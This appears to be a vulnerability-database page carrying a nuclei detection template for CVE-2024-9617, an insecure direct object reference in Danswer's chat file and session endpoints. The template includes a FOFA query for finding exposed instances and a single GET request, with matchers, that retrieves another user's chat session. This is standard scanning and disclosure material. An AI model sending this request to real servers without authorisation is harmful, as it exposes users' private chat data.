Lucene search
K

Danswer - Insecure Direct Object Reference

🗓️ 07 Jul 2026 03:01:27Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 18 Views

The Danswer application has an Insecure Direct Object Reference vulnerability with ID CVE-2024-9617, allowing attackers to view any user's file via the GET /api/chat/file/{file_id} interface

Related
Code
ReporterTitlePublishedViews
Family
CNNVD
Danswer 访问控制错误漏洞
20 Mar 202500:00
cnnvd
CVE
CVE-2024-9617
20 Mar 202510:10
cve
Cvelist
CVE-2024-9617 IDOR in danswer-ai/danswer
20 Mar 202510:10
cvelist
NVD
CVE-2024-9617
20 Mar 202510:15
nvd
RedhatCVE
CVE-2024-9617
22 Mar 202513:02
redhatcve
Vulnrichment
CVE-2024-9617 IDOR in danswer-ai/danswer
20 Mar 202510:10
vulnrichment
Tenable Nessus
Danswer < 0.10.0-beta.1 Insecure Direct Object Reference
29 Oct 202400:00
nessus
id: CVE-2024-9617

info:
  name: Danswer - Insecure Direct Object Reference
  author: s4e-io
  severity: medium
  description: |
    The application does not verify whether the attacker is the creator of the file, allowing the attacker to directly call the GET /api/chat/file/{file_id} interface to view any user's file.
  impact: |
    Authenticated attackers can access and view files belonging to other users without proper authorization checks through insecure direct object references, leading to unauthorized disclosure of sensitive chat files and data.
  remediation: |
    Update Danswer to a version that implements proper authorization checks to verify file ownership before allowing access through the GET /api/chat/file/{file_id} and GET /api/chat/get-chat-session endpoints.
  reference:
    - https://huntr.com/bounties/8f683ff6-3a99-41c6-b763-a8f7b73bd146
    - https://github.com/danswer-ai/danswer
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2024-9617
    cwe-id: CWE-284
    epss-score: 0.01557
    epss-percentile: 0.72203
  metadata:
    verified: true
    max-request: 1
    vendor: danswer-ai
    product: danswer
    fofa-query: icon_hash="484766002"
  tags: cve,cve2024,danswer,idor,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/chat/get-chat-session/1?is_shared=True"

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "chat_session_id", "description", "persona_id")'
          - 'contains(content_type, "application/json")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a0047304502200c96a067c995815904a245675a81519a0703508bf981007abf7680a407772b05022100d2378a5fe9c1d1987e4ad244a0b3243f6415db4fb6a1c8797147b8b864d74388:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
6.6Medium risk
Vulners AI Score6.6
CVSS 36.5
EPSS0.01557
SSVC
18